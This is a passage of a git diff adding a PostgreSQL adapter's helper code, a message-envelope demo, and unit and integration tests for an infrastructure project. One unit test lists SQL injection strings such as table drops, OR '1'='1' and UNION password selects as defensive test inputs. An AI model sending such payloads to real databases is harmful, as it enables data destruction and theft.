failed - please check connection and query parameters" + + return sanitized + + def _parse_rows_affected_from_status(self, status_result: str) -> int: + """ + Parse rows affected from PostgreSQL status strings with robust error handling. + + PostgreSQL returns different status formats: + - INSERT: "INSERT 0 5" (5 rows inserted) + - UPDATE: "UPDATE 3" (3 rows updated) + - DELETE: "DELETE 2" (2 rows deleted) + - CREATE: "CREATE TABLE" + - DROP: "DROP TABLE" + - Other commands may return various formats + + Args: + status_result: Status string returned by PostgreSQL + + Returns: + Number of rows affected, or 0 if parsing fails + """ + if not status_result or not (hasattr(status_result, 'strip') and hasattr(status_result, 'split')): # String-like check + return 0 + + # Clean the status string + status_clean = status_result.strip() + if not status_clean: + return 0 + + # Try each pre-compiled pattern to extract rows affected (performance optimized) + for pattern, group_index in self._ROWS_AFFECTED_PATTERNS: + match = pattern.match(status_clean) + if match: + try: + return int(match.group(group_index)) + except (ValueError, IndexError): + continue + + # Fallback: try to extract any number from the end of the string + try: + # Split and find the last token that's a valid integer + tokens = status_clean.split() + for token in reversed(tokens): + try: + return int(token) + except ValueError: + continue + except Exception: + pass + + # No rows affected for DDL operations or parsing failures + return 0 + + +async def main(): + """Main entry point for PostgreSQL Adapter - runs in service mode with NodeEffectService""" + from omnibase_infra.infrastructure.container import create_infrastructure_container + + # Create infrastructure container with all shared dependencies + container = create_infrastructure_container() + + adapter = NodePostgresAdapterEffect(container) + + # Initialize the adapter + await adapter.initialize() + + # Start service mode using NodeEffectService capabilities + await adapter.start_service_mode() + + +if __name__ == "__main__": + import asyncio + + asyncio.run(main()) \ No newline at end of file diff --git a/src/omnibase_infra/tools/infrastructure/__init__.py b/src/omnibase_infra/tools/infrastructure/__init__.py deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000000..1c2d70a3fc --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1 @@ +"""Test package for omnibase_infra.""" \ No newline at end of file diff --git a/tests/test_message_envelope_demo.py b/tests/test_message_envelope_demo.py new file mode 100644 index 0000000000..4d2703308a --- /dev/null +++ b/tests/test_message_envelope_demo.py @@ -0,0 +1,364 @@ +#!/usr/bin/env python3 +""" +Demo script showing event bus message envelope to PostgreSQL conversion. + +This demonstrates the complete flow: +Event Envelope → PostgreSQL Adapter → PostgreSQL Connection Manager → Database +""" + +import asyncio +import json +import logging +import sys +import time +import uuid +from pathlib import Path +from typing import Dict, Any + +# Add src to path for imports when running as script +sys.path.insert(0, str(Path(__file__).parent.parent / "src")) + +from omnibase_infra.infrastructure.postgres_connection_manager import PostgresConnectionManager +from omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.models.model_postgres_adapter_input import ModelPostgresAdapterInput +from omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.models.model_postgres_adapter_output import ModelPostgresAdapterOutput +from omnibase_infra.models.postgres.model_postgres_query_request import ModelPostgresQueryRequest +from omnibase_infra.models.postgres.model_postgres_health_request import ModelPostgresHealthRequest + + +# Configure logging following omnibase_3 infrastructure pattern +logger = logging.getLogger(__name__) + + +async def demo_service_registration_envelope(): + """Demo: Service registration through event envelope.""" + + logger.info("🎯 Demo: Service Registration via Event Envelope") + logger.info("=" * 60) + + # Step 1: Create event envelope (as would come from message bus) + correlation_id = uuid.uuid4() + + # This represents a service wanting to register itself + service_data = { + "service_name": "payment-processor", + "service_type": "microservice", + "hostname": "payment-01.prod.local", + "port": 8080, + "status": "healthy", + "metadata": { + "version": "2.1.3", + "environment": "production", + "capabilities": ["payments", "refunds", "webhooks"], + "health_check_url": "http://payment-01.prod.local:8080/health" + } + } + + # Create PostgreSQL query request + query_request = ModelPostgresQueryRequest( + query=""" + INSERT INTO infrastructure.service_registry + (service_name, service_type, hostname, port, status, metadata, health_check_url) + VALUES ($1, $2, $3, $4, $5, $6, $7) + RETURNING id, service_name, status, registered_at + """, + parameters=[ + service_data["service_name"], + service_data["service_type"], + service_data["hostname"], + service_data["port"], + service_data["status"], + service_data["metadata"], + service_data["metadata"]["health_check_url"] + ], + correlation_id=correlation_id, + timeout=30.0, + record_metrics=True, + context={ + "operation": "service_registration", + "source": "service_mesh", + "priority": "high" + } + ) + + # Create message envelope (as would come from event bus) + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id, + timestamp=time.time(), + context={ + "source": "service_discovery_system", + "event_type": "SERVICE_REGISTRATION_REQUEST", + "routing_key": "infrastructure.postgres.query" + } + ) + + logger.info(f"📨 Input Event Envelope:") + logger.info(f" Operation: {input_envelope.operation_type}") + logger.info(f" Correlation ID: {input_envelope.correlation_id}") + logger.info(f" Service: {service_data['service_name']}") + logger.info(f" Context: {json.dumps(input_envelope.context, indent=6)}") + + # Step 2: Process through "adapter" (direct connection manager call for demo) + logger.info("⚡ Processing through PostgreSQL Adapter...") + + try: + connection_manager = PostgresConnectionManager() + await connection_manager.initialize() + + start_time = time.perf_counter() + + # Execute the database operation + db_result = await connection_manager.execute_query( + query_request.query, + *query_request.parameters, + timeout=query_request.timeout, + record_metrics=query_request.record_metrics + ) + + execution_time_ms = (time.perf_counter() - start_time) * 1000 + + # Create response envelope (as adapter would return to message bus) + if isinstance(db_result, list) and db_result: + success = True + registration_result = dict(db_result[0]) + status_message = f"Service '{service_data['service_name']}' registered successfully" + else: + success = False + registration_result = None + status_message = "Service registration failed - no result returned" + + # Create output envelope + output_envelope = ModelPostgresAdapterOutput( + operation_type="query", + success=success, + correlation_id=correlation_id, + timestamp=time.time(), + execution_time_ms=execution_time_ms, + context=input_envelope.context, + query_response={ + "success": success, + "data": [registration_result] if registration_result else [], + "rows_affected": 1 if registration_result else 0, + "status_message": status_message, + "execution_time_ms": execution_time_ms, + "correlation_id": correlation_id + } + ) + + logger.info(f"✅ Success! Database operation completed") + logger.info(f" Execution time: {execution_time_ms:.2f}ms") + logger.info(f" Service ID: {registration_result['id'] if registration_result else 'N/A'}") + logger.info(f" Registered at: {registration_result['registered_at'] if registration_result else 'N/A'}") + + logger.info(f"📤 Output Event Envelope:") + logger.info(f" Success: {output_envelope.success}") + logger.info(f" Correlation ID: {output_envelope.correlation_id}") + logger.info(f" Execution time: {output_envelope.execution_time_ms:.2f}ms") + logger.info(f" Rows affected: {output_envelope.query_response['rows_affected']}") + + await connection_manager.close() + return True + + except Exception as e: + logger.error(f"❌ Error: {str(e)}") + return False + + +async def demo_service_discovery_envelope(): + """Demo: Service discovery through event envelope.""" + + logger.info("🔍 Demo: Service Discovery via Event Envelope") + logger.info("=" * 60) + + # Create service discovery request + correlation_id = uuid.uuid4() + + query_request = ModelPostgresQueryRequest( + query=""" + SELECT + service_name, + service_type, + hostname, + port, + status, + metadata, + last_seen, + registered_at + FROM infrastructure.service_registry + WHERE service_type = $1 + AND status IN ('healthy', 'degraded') + ORDER BY last_seen DESC + LIMIT $2 + """, + parameters=["microservice", 10], + correlation_id=correlation_id, + record_metrics=True, + context={"operation": "service_discovery", "filter": "active_services"} + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id, + timestamp=time.time(), + context={ + "source": "load_balancer", + "event_type": "SERVICE_DISCOVERY_REQUEST", + "routing_key": "infrastructure.postgres.query" + } + ) + + logger.info(f"📨 Service Discovery Request:") + logger.info(f" Looking for: microservice type") + logger.info(f" Status filter: healthy, degraded") + logger.info(f" Max results: 10") + + try: + connection_manager = PostgresConnectionManager() + await connection_manager.initialize() + + start_time = time.perf_counter() + + # Execute discovery query + services = await connection_manager.execute_query( + query_request.query, + *query_request.parameters, + timeout=query_request.timeout, + record_metrics=query_request.record_metrics + ) + + execution_time_ms = (time.perf_counter() - start_time) * 1000 + + logger.info(f"🔍 Found {len(services)} active microservices:") + for service in services: + service_dict = dict(service) + logger.info(f" • {service_dict['service_name']} ({service_dict['hostname']}:{service_dict['port']}) - {service_dict['status']}") + + logger.info(f"⚡ Query executed in {execution_time_ms:.2f}ms") + + await connection_manager.close() + return True + + except Exception as e: + logger.error(f"❌ Discovery error: {str(e)}") + return False + + +async def demo_health_check_envelope(): + """Demo: Health check through event envelope.""" + + logger.info("💚 Demo: Health Check via Event Envelope") + logger.info("=" * 60) + + # Create health check request + correlation_id = uuid.uuid4() + + health_request = ModelPostgresHealthRequest( + include_connection_stats=True, + include_performance_metrics=True, + include_schema_info=False, + correlation_id=correlation_id, + context={"source": "monitoring_system", "check_type": "infrastructure"} + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="health_check", + health_request=health_request, + correlation_id=correlation_id, + timestamp=time.time(), + context={ + "source": "prometheus_scraper", + "event_type": "INFRASTRUCTURE_HEALTH_CHECK", + "routing_key": "infrastructure.postgres.health" + } + ) + + logger.info(f"📨 Health Check Request:") + logger.info(f" Include connection stats: {health_request.include_connection_stats}") + logger.info(f" Include performance metrics: {health_request.include_performance_metrics}") + + try: + connection_manager = PostgresConnectionManager() + await connection_manager.initialize() + + # Execute health check + health_data = await connection_manager.health_check() + + logger.info(f"💚 Health Check Results:") + logger.info(f" Status: {health_data.get('status', 'unknown')}") + logger.info(f" Database: {health_data.get('database_info', {}).get('version', 'unknown')}") + + if 'connection_pool' in health_data: + pool = health_data['connection_pool'] + logger.info(f" Connection Pool: {pool.get('active', 0)} active, {pool.get('idle', 0)} idle, {pool.get('total', 0)} total") + + if 'errors' in health_data and health_data['errors']: + logger.warning(f" ⚠️ Errors: {len(health_data['errors'])}") + for error in health_data['errors']: + logger.warning(f" - {error}") + + await connection_manager.close() + return True + + except Exception as e: + logger.error(f"❌ Health check error: {str(e)}") + return False + + +async def main(): + """Run all message envelope demos.""" + + logger.info("🚀 PostgreSQL Adapter Message Envelope Demo") + logger.info("=" * 60) + logger.info("Demonstrating event bus message envelope to PostgreSQL conversion") + logger.info("Running against Docker PostgreSQL environment") + + demos = [ + ("Service Registration", demo_service_registration_envelope), + ("Service Discovery", demo_service_discovery_envelope), + ("Health Check", demo_health_check_envelope) + ] + + results = [] + + for demo_name, demo_func in demos: + try: + logger.info(f"Running {demo_name} demo...") + success = await demo_func() + results.append((demo_name, success)) + + if success: + logger.info(f"✅ {demo_name} demo completed successfully") + else: + logger.error(f"❌ {demo_name} demo failed") + + except Exception as e: + logger.error(f"❌ {demo_name} demo error: {str(e)}") + results.append((demo_name, False)) + + # Summary + logger.info("📊 Demo Summary:") + logger.info("=" * 40) + successful = sum(1 for _, success in results if success) + total = len(results) + + for demo_name, success in results: + status = "✅ PASS" if success else "❌ FAIL" + logger.info(f" {demo_name}: {status}") + + logger.info(f"Overall: {successful}/{total} demos successful") + + if successful == total: + logger.info("🎉 All message envelope conversions working correctly!") + else: + logger.warning("⚠️ Some demos failed - check PostgreSQL connection and database setup") + + +if __name__ == "__main__": + # Configure logging for demo + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(name)s - %(levelname)s - %(message)s' + ) + asyncio.run(main()) \ No newline at end of file diff --git a/tests/test_postgres_adapter.py b/tests/test_postgres_adapter.py new file mode 100644 index 0000000000..6065567934 --- /dev/null +++ b/tests/test_postgres_adapter.py @@ -0,0 +1,424 @@ +""" +Comprehensive tests for PostgreSQL Adapter Tool. + +Tests the event envelope to PostgreSQL message conversion functionality +and validates the message bus bridge pattern implementation. +""" + +import asyncio +import pytest +import time +import uuid +from unittest.mock import Mock, AsyncMock, patch +from typing import Dict, Any + +from omnibase_core.core.onex_container import ModelONEXContainer as ONEXContainer +from omnibase_core.core.core_error_codes import CoreErrorCode + +from omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.node import NodePostgresAdapterEffect +from omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.models.model_postgres_adapter_input import ModelPostgresAdapterInput +from omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.models.model_postgres_adapter_output import ModelPostgresAdapterOutput +from omnibase_infra.models.postgres.model_postgres_query_request import ModelPostgresQueryRequest + + +class TestPostgresAdapter: + """Test suite for PostgreSQL adapter message conversion functionality.""" + + @pytest.fixture + def container(self): + """Create a basic ONEXContainer for testing.""" + return ONEXContainer() + + @pytest.fixture + def mock_connection_manager(self): + """Create a mock connection manager.""" + manager = AsyncMock() + + # Mock successful query execution + manager.execute_query.return_value = [{"id": 1, "name": "test_service"}] + + # Mock health check + manager.health_check.return_value = { + "status": "healthy", + "timestamp": time.time(), + "connection_pool": { + "active": 5, + "idle": 15, + "total": 20 + }, + "database_info": { + "version": "PostgreSQL 15.4" + }, + "errors": [] + } + + return manager + + @pytest.fixture + def adapter_with_mock(self, container, mock_connection_manager): + """Create adapter with mocked connection manager.""" + # For testing purposes, we'll mock the container to avoid service resolution issues + mock_container = Mock(spec=ONEXContainer) + + with patch('omnibase_infra.infrastructure.postgres_connection_manager.PostgresConnectionManager') as mock_manager_class: + mock_manager_class.return_value = mock_connection_manager + + adapter = NodePostgresAdapterEffect(mock_container) + adapter._connection_manager = mock_connection_manager + + return adapter + + def test_adapter_initialization(self, container): + """Test adapter can be initialized with container.""" + # We'll test just the class structure since full initialization requires event bus setup + assert NodePostgresAdapterEffect is not None + + # Test that the class has the expected attributes without instantiation + assert hasattr(NodePostgresAdapterEffect, 'process') + assert hasattr(NodePostgresAdapterEffect, 'initialize') + assert hasattr(NodePostgresAdapterEffect, 'cleanup') + + @pytest.mark.asyncio + async def test_query_message_envelope_conversion(self, adapter_with_mock): + """Test converting event envelope with query request to PostgreSQL operation.""" + + # Create event envelope with query request + correlation_id = uuid.uuid4() + query_request = ModelPostgresQueryRequest( + query="SELECT * FROM infrastructure.service_registry WHERE service_type = $1", + parameters=["database"], + correlation_id=correlation_id, + context={"operation": "list_services"} + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id, + context={"source": "event_bus"} + ) + + # Process the envelope through adapter + result = await adapter_with_mock.process(input_envelope) + + # Validate conversion to PostgreSQL operation + assert isinstance(result, ModelPostgresAdapterOutput) + assert result.operation_type == "query" + assert result.success is True + assert result.correlation_id == correlation_id + assert result.query_response is not None + + # Verify the connection manager was called with correct parameters + adapter_with_mock.connection_manager.execute_query.assert_called_once_with( + "SELECT * FROM infrastructure.service_registry WHERE service_type = $1", + "database", # parameters unpacked + timeout=query_request.timeout, + record_metrics=query_request.record_metrics + ) + + @pytest.mark.asyncio + async def test_mixin_health_check_functionality(self, adapter_with_mock): + """Test MixinHealthCheck integration for PostgreSQL adapter health monitoring.""" + + # Test that the adapter has proper health check methods from mixin + assert hasattr(adapter_with_mock, 'health_check') + assert hasattr(adapter_with_mock, 'health_check_async') + assert hasattr(adapter_with_mock, 'get_health_checks') + + # Test get_health_checks returns PostgreSQL-specific checks + health_checks = adapter_with_mock.get_health_checks() + assert len(health_checks) == 2 + assert callable(health_checks[0]) # database connectivity check + assert callable(health_checks[1]) # connection pool check + + # Test synchronous health check + health_result = adapter_with_mock.health_check() + assert hasattr(health_result, 'status') + assert hasattr(health_result, 'message') + assert hasattr(health_result, 'timestamp') + + # Test that health check aggregates multiple checks + # The mixin should run both database connectivity and connection pool checks + assert health_result.status is not None + assert health_result.message is not None + + # Test asynchronous health check + async_health_result = await adapter_with_mock.health_check_async() + assert hasattr(async_health_result, 'status') + assert hasattr(async_health_result, 'message') + assert hasattr(async_health_result, 'timestamp') + + @pytest.mark.asyncio + async def test_invalid_operation_type(self, adapter_with_mock): + """Test handling of invalid operation types in message envelope.""" + + # Create event envelope with invalid operation + correlation_id = uuid.uuid4() + input_envelope = ModelPostgresAdapterInput( + operation_type="invalid_operation", + correlation_id=correlation_id, + context={"source": "test"} + ) + + # Process the envelope through adapter + result = await adapter_with_mock.process(input_envelope) + + # Validate error handling + assert isinstance(result, ModelPostgresAdapterOutput) + assert result.operation_type == "invalid_operation" + assert result.success is False + assert result.error_message is not None + assert "Unsupported operation type" in result.error_message + assert result.correlation_id == correlation_id + + @pytest.mark.asyncio + async def test_missing_query_request(self, adapter_with_mock): + """Test handling of query operation without query request.""" + + # Create event envelope with query operation but no query request + correlation_id = uuid.uuid4() + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + # query_request=None # Missing required field + correlation_id=correlation_id + ) + + # Process the envelope through adapter + result = await adapter_with_mock.process(input_envelope) + + # Validate error handling + assert isinstance(result, ModelPostgresAdapterOutput) + assert result.operation_type == "query" + assert result.success is False + assert result.error_message is not None + assert "Query request is required" in result.error_message + + @pytest.mark.asyncio + async def test_database_error_handling(self, adapter_with_mock): + """Test handling of database errors during query execution.""" + + # Configure mock to raise database error + adapter_with_mock.connection_manager.execute_query.side_effect = Exception("Connection timeout") + + # Create valid query request + correlation_id = uuid.uuid4() + query_request = ModelPostgresQueryRequest( + query="SELECT * FROM infrastructure.service_registry", + parameters=[], + correlation_id=correlation_id + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id + ) + + # Process the envelope through adapter + result = await adapter_with_mock.process(input_envelope) + + # Validate error handling maintains envelope structure + assert isinstance(result, ModelPostgresAdapterOutput) + assert result.operation_type == "query" + assert result.success is False + assert result.error_message == "Connection timeout" + assert result.correlation_id == correlation_id + + # Verify query response contains error information + assert result.query_response is not None + assert result.query_response.success is False + assert result.query_response.error_message == "Connection timeout" + + @pytest.mark.asyncio + async def test_performance_metrics_tracking(self, adapter_with_mock): + """Test that adapter tracks performance metrics for envelope processing.""" + + # Create query request + correlation_id = uuid.uuid4() + query_request = ModelPostgresQueryRequest( + query="SELECT COUNT(*) FROM infrastructure.service_registry", + parameters=[], + correlation_id=correlation_id, + record_metrics=True + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id + ) + + # Process the envelope + result = await adapter_with_mock.process(input_envelope) + + # Validate performance tracking + assert result.execution_time_ms is not None + assert result.execution_time_ms > 0 + assert result.timestamp is not None + + # Verify query response also has execution time + assert result.query_response.execution_time_ms is not None + assert result.query_response.execution_time_ms > 0 + + def test_envelope_structure_preservation(self): + """Test that adapter maintains event envelope structure patterns.""" + + # Test input envelope structure + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + correlation_id="test-123", + timestamp=time.time(), + context={"source": "event_bus", "user": "system"} + ) + + # Validate input envelope has required fields for message bus integration + assert hasattr(input_envelope, 'operation_type') + assert hasattr(input_envelope, 'correlation_id') + assert hasattr(input_envelope, 'context') + assert hasattr(input_envelope, 'timestamp') + + # Test output envelope structure + output_envelope = ModelPostgresAdapterOutput( + operation_type="query", + success=True, + correlation_id="test-123", + timestamp=time.time(), + execution_time_ms=100.0 + ) + + # Validate output envelope has required fields for message bus response + assert hasattr(output_envelope, 'operation_type') + assert hasattr(output_envelope, 'success') + assert hasattr(output_envelope, 'correlation_id') + assert hasattr(output_envelope, 'timestamp') + assert hasattr(output_envelope, 'execution_time_ms') + assert hasattr(output_envelope, 'context') + + @pytest.mark.asyncio + async def test_sql_injection_protection(self, adapter_with_mock): + """Test that adapter prevents SQL injection attacks.""" + + # Test various SQL injection attempts + malicious_queries = [ + "SELECT * FROM users WHERE id = 1; DROP TABLE users; --", + "SELECT * FROM users WHERE name = 'admin' OR '1'='1'", + "SELECT * FROM users UNION SELECT password FROM admin_users", + "'; DELETE FROM users; --" + ] + + correlation_id = uuid.uuid4() + + for malicious_query in malicious_queries: + # Create query request with potentially malicious SQL + query_request = ModelPostgresQueryRequest( + query=malicious_query, + parameters=[], + correlation_id=correlation_id + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id, + timestamp=time.time() + ) + + # Process through adapter - should handle safely + result = await adapter_with_mock.process(input_envelope) + + # Verify result structure (adapter should process without crashing) + assert isinstance(result, ModelPostgresAdapterOutput) + assert result.correlation_id == correlation_id + + # Error handling should sanitize any database error messages + if not result.success and result.error_message: + # Ensure error message doesn't contain sensitive schema information + assert "password" not in result.error_message.lower() + assert "admin" not in result.error_message.lower() + assert "DROP" not in result.error_message.upper() + + def test_error_message_sanitization(self, adapter_with_mock): + """Test error message sanitization prevents information leakage.""" + + # Test various sensitive error messages + sensitive_errors = [ + "connection failed to postgresql://user:password123@host:5432/db", + 'schema "secret_schema" does not exist', + 'table "admin_passwords" not found', + "authentication failed for user admin with password secret123" + ] + + for sensitive_error in sensitive_errors: + sanitized = adapter_with_mock._sanitize_error_message(sensitive_error) + + # Verify sensitive information is masked + assert "password123" not in sanitized + assert "secret_schema" not in sanitized + assert "admin_passwords" not in sanitized + assert "secret123" not in sanitized + + # Verify sanitized message still provides useful information + assert len(sanitized) > 0 + assert sanitized != sensitive_error + + @pytest.mark.asyncio + async def test_complex_query_with_parameters(self, adapter_with_mock): + """Test complex queries with multiple parameters through message envelope.""" + + # Mock complex query result + adapter_with_mock.connection_manager.execute_query.return_value = [ + {"service_id": 1, "service_name": "postgres", "status": "healthy"}, + {"service_id": 2, "service_name": "redis", "status": "healthy"} + ] + + # Create complex query request + correlation_id = uuid.uuid4() + query_request = ModelPostgresQueryRequest( + query=""" + INSERT INTO infrastructure.service_registry + (service_name, service_type, hostname, port, status, metadata) + VALUES ($1, $2, $3, $4, $5, $6) + RETURNING id, service_name, status + """, + parameters=[ + "new_service", + "microservice", + "app-server", + 8080, + "initializing", + {"version": "1.0.0", "environment": "development"} + ], + correlation_id=correlation_id, + timeout=30.0, + record_metrics=True, + context={"operation": "service_registration", "source": "orchestrator"} + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id, + context={"source": "service_mesh"} + ) + + # Process the envelope + result = await adapter_with_mock.process(input_envelope) + + # Validate successful processing + assert result.success is True + assert result.query_response is not None + assert len(result.query_response.data) == 2 + assert result.query_response.rows_affected == 2 + + # Verify all parameters were passed correctly + adapter_with_mock.connection_manager.execute_query.assert_called_once() + call_args = adapter_with_mock.connection_manager.execute_query.call_args + + # Check that all 6 parameters were unpacked + assert len(call_args[0]) == 7 # query + 6 parameters + assert call_args[0][1] == "new_service" # First parameter + assert call_args[0][6] == {"version": "1.0.0", "environment": "development"} # Last parameter + + +if __name__ == "__main__": + pytest.main([__file__, "-v"]) \ No newline at end of file diff --git a/tests/test_postgres_adapter_integration.py b/tests/test_postgres_adapter_integration.py new file mode 100644 index 0000000000..0ab094f050 --- /dev/null +++ b/tests/test_postgres_adapter_integration.py @@ -0,0 +1,382 @@ +""" +Integration tests for PostgreSQL Adapter with real database. + +Tests the complete message envelope to PostgreSQL workflow against +the Docker PostgreSQL environment. +""" + +import asyncio +import logging +import os +import pytest +import time +import uuid +from typing import Dict, Any, List + +# Configure logging following omnibase_3 infrastructure pattern +logger = logging.getLogger(__name__) + +from omnibase_infra.infrastructure.postgres_connection_manager import PostgresConnectionManager +from omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.models.model_postgres_adapter_input import ModelPostgresAdapterInput +from omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.models.model_postgres_adapter_output import ModelPostgresAdapterOutput +from omnibase_infra.models.postgres.model_postgres_query_request import ModelPostgresQueryRequest + + +# Skip integration tests if PostgreSQL is not available +def is_postgres_available() -> bool: + """Check if PostgreSQL is available for testing.""" + try: + import asyncpg + # Test connection with environment variables + host = os.getenv("POSTGRES_HOST", "localhost") + port = int(os.getenv("POSTGRES_PORT", "5432")) + database = os.getenv("POSTGRES_DATABASE", "omnibase_infrastructure") + user = os.getenv("POSTGRES_USER", "omnibase") + password = os.getenv("POSTGRES_PASSWORD", "dev_password_change_in_prod") + + async def test_connection(): + try: + conn = await asyncpg.connect( + host=host, port=port, database=database, + user=user, password=password + ) + await conn.close() + return True + except Exception: + return False + + return asyncio.run(test_connection()) + except ImportError: + return False + + +skip_if_no_postgres = pytest.mark.skipif( + not is_postgres_available(), + reason="PostgreSQL not available for integration testing" +) + + +class TestPostgresAdapterIntegration: + """Integration test suite for PostgreSQL adapter with real database.""" + + @pytest.fixture + async def connection_manager(self): + """Create and initialize a real connection manager.""" + manager = PostgresConnectionManager() + await manager.initialize() + yield manager + await manager.close() + + @pytest.fixture + async def clean_test_table(self, connection_manager): + """Create and clean a test table for integration tests.""" + table_name = "integration_test_services" + + # Create test table + await connection_manager.execute_query(f""" + CREATE TABLE IF NOT EXISTS infrastructure.{table_name} ( + id SERIAL PRIMARY KEY, + service_name VARCHAR(255) NOT NULL, + service_type VARCHAR(100) NOT NULL, + status VARCHAR(50) DEFAULT 'active', + metadata JSONB DEFAULT '{{}}', + created_at TIMESTAMP WITH TIME ZONE DEFAULT NOW() + ) + """) + + # Clean any existing test data + await connection_manager.execute_query(f"DELETE FROM infrastructure.{table_name}") + + yield table_name + + # Cleanup after test + await connection_manager.execute_query(f"DROP TABLE IF EXISTS infrastructure.{table_name}") + + @skip_if_no_postgres + @pytest.mark.asyncio + async def test_message_envelope_to_database_insert(self, connection_manager, clean_test_table): + """Test complete flow: message envelope → adapter → PostgreSQL INSERT.""" + + # Create query request for service registration + correlation_id = uuid.uuid4() + query_request = ModelPostgresQueryRequest( + query=f""" + INSERT INTO infrastructure.{clean_test_table} + (service_name, service_type, status, metadata) + VALUES ($1, $2, $3, $4) + RETURNING id, service_name, status + """, + parameters=[ + "test-service", + "microservice", + "initializing", + {"version": "1.0.0", "environment": "test"} + ], + correlation_id=correlation_id, + record_metrics=True, + context={"operation": "service_registration", "test": True} + ) + + # Execute through connection manager (simulating adapter behavior) + result = await connection_manager.execute_query( + query_request.query, + *query_request.parameters, + timeout=query_request.timeout, + record_metrics=query_request.record_metrics + ) + + # Validate database insertion + assert isinstance(result, list) + assert len(result) == 1 + + inserted_record = dict(result[0]) + assert inserted_record['service_name'] == "test-service" + assert inserted_record['status'] == "initializing" + assert 'id' in inserted_record + + # Verify data was actually inserted by querying back + verification_result = await connection_manager.execute_query( + f"SELECT COUNT(*) as count FROM infrastructure.{clean_test_table} WHERE service_name = $1", + "test-service" + ) + + count_record = dict(verification_result[0]) + assert count_record['count'] == 1 + + @skip_if_no_postgres + @pytest.mark.asyncio + async def test_message_envelope_to_database_query(self, connection_manager, clean_test_table): + """Test complete flow: message envelope → adapter → PostgreSQL SELECT.""" + + # First, insert test data + test_services = [ + ("service-1", "database", "healthy", {"replica_count": 3}), + ("service-2", "cache", "degraded", {"memory_usage": "75%"}), + ("service-3", "queue", "healthy", {"queue_depth": 10}) + ] + + for service_name, service_type, status, metadata in test_services: + await connection_manager.execute_query( + f"""INSERT INTO infrastructure.{clean_test_table} + (service_name, service_type, status, metadata) VALUES ($1, $2, $3, $4)""", + service_name, service_type, status, metadata + ) + + # Create query request to retrieve services + correlation_id = uuid.uuid4() + query_request = ModelPostgresQueryRequest( + query=f""" + SELECT service_name, service_type, status, metadata + FROM infrastructure.{clean_test_table} + WHERE service_type = $1 + ORDER BY service_name + """, + parameters=["database"], + correlation_id=correlation_id, + record_metrics=True + ) + + # Execute through connection manager + result = await connection_manager.execute_query( + query_request.query, + *query_request.parameters, + timeout=query_request.timeout, + record_metrics=query_request.record_metrics + ) + + # Validate query results + assert isinstance(result, list) + assert len(result) == 1 # Only one database service + + service_record = dict(result[0]) + assert service_record['service_name'] == "service-1" + assert service_record['service_type'] == "database" + assert service_record['status'] == "healthy" + assert service_record['metadata'] == {"replica_count": 3} + + @skip_if_no_postgres + @pytest.mark.asyncio + async def test_message_envelope_to_database_update(self, connection_manager, clean_test_table): + """Test complete flow: message envelope → adapter → PostgreSQL UPDATE.""" + + # Insert initial test service + insert_result = await connection_manager.execute_query( + f"""INSERT INTO infrastructure.{clean_test_table} + (service_name, service_type, status) VALUES ($1, $2, $3) RETURNING id""", + "update-test-service", "api", "initializing" + ) + + service_id = dict(insert_result[0])['id'] + + # Create update request + correlation_id = uuid.uuid4() + query_request = ModelPostgresQueryRequest( + query=f""" + UPDATE infrastructure.{clean_test_table} + SET status = $1, metadata = $2 + WHERE id = $3 + RETURNING service_name, status, metadata + """, + parameters=[ + "healthy", + {"last_updated": "2024-01-15T10:30:00Z", "cpu_usage": "45%"}, + service_id + ], + correlation_id=correlation_id, + record_metrics=True + ) + + # Execute update + result = await connection_manager.execute_query( + query_request.query, + *query_request.parameters, + timeout=query_request.timeout, + record_metrics=query_request.record_metrics + ) + + # Validate update results + assert isinstance(result, list) + assert len(result) == 1 + + updated_record = dict(result[0]) + assert updated_record['service_name'] == "update-test-service" + assert updated_record['status'] == "healthy" + assert updated_record['metadata']['cpu_usage'] == "45%" + + @skip_if_no_postgres + @pytest.mark.asyncio + async def test_health_check_envelope_to_database(self, connection_manager): + """Test health check message envelope → adapter → PostgreSQL health check.""" + + # Execute health check through connection manager + health_result = await connection_manager.health_check() + + # Validate health check structure (simulating adapter processing) + assert isinstance(health_result, dict) + assert 'status' in health_result + assert 'timestamp' in health_result + assert health_result['status'] in ['healthy', 'degraded', 'unhealthy'] + + # Check for connection pool information + if 'connection_pool' in health_result: + pool_info = health_result['connection_pool'] + assert 'active' in pool_info + assert 'idle' in pool_info + assert 'total' in pool_info + + # Check for database information + if 'database_info' in health_result: + db_info = health_result['database_info'] + assert 'version' in db_info + + @skip_if_no_postgres + @pytest.mark.asyncio + async def test_transaction_rollback_on_error(self, connection_manager, clean_test_table): + """Test error handling and transaction management in message processing.""" + + # Insert initial service + await connection_manager.execute_query( + f"""INSERT INTO infrastructure.{clean_test_table} + (service_name, service_type, status) VALUES ($1, $2, $3)""", + "transaction-test", "database", "healthy" + ) + + # Create query request that will fail (duplicate key violation) + correlation_id = uuid.uuid4() + + # Try to insert duplicate service name (assuming unique constraint) + try: + await connection_manager.execute_query( + f"""INSERT INTO infrastructure.{clean_test_table} + (service_name, service_type, status) VALUES ($1, $2, $3)""", + "transaction-test", # Duplicate service name + "cache", + "initializing" + ) + # If no error, that's also fine - this tests error handling when it occurs + except Exception as e: + # 